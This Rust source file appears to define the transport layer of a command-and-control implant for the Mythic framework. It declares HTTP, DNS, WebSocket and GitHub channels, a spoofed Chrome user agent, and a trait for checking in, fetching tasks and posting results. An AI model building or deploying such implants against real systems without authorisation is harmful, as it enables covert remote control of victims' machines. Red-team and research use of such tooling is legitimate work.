use crate::error::MythicError;
use crate::protocol::codec::AES256_IV_LEN;
use std::string::String;
#[cfg(any(
feature = "http",
feature = "httpx",
feature = "dns",
feature = "websocket",
feature = "github"
))]
pub mod config;
#[cfg(feature = "http")]
pub mod http;
#[cfg(feature = "http")]
pub use http::{HttpConfig, HttpTransport};
#[cfg(feature = "httpx")]
pub mod httpx;
#[cfg(feature = "httpx")]
pub use httpx::{HttpxConfig, HttpxTransport};
#[cfg(feature = "websocket")]
pub mod websocket;
#[cfg(feature = "websocket")]
pub use websocket::{WebsocketConfig, WebsocketTransport};
#[cfg(feature = "dns")]
pub mod dns;
#[cfg(feature = "dns")]
pub use dns::{DnsConfig, DnsTransport};
#[cfg(feature = "github")]
pub mod github;
#[cfg(feature = "github")]
pub use github::{GithubConfig, GithubTransport};
pub(crate) const DEFAULT_USER_AGENT: &str = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36";
pub trait C2Transport {
fn get_aes_psk(&self) -> Option<String> {
None
}
fn set_aes_psk(&mut self, _key: &str) -> Option<String> {
None
}
fn encrypted_exchange_check(&self) -> bool {
false
}
fn random_iv(&self) -> Result<[u8; AES256_IV_LEN], MythicError> {
#[cfg(feature = "getrandom")]
{
let mut iv = [0u8; AES256_IV_LEN];
::getrandom::getrandom(&mut iv).map_err(|_| MythicError::Crypto)?;
Ok(iv)
}
#[cfg(not(feature = "getrandom"))]
Err(MythicError::Crypto)
}
fn checkin(&self, packed: &str) -> Result<String, MythicError>;
fn get_tasking(&self, packed: &str) -> Result<String, MythicError>;
fn post_response(&self, packed: &str) -> Result<String, MythicError>;
}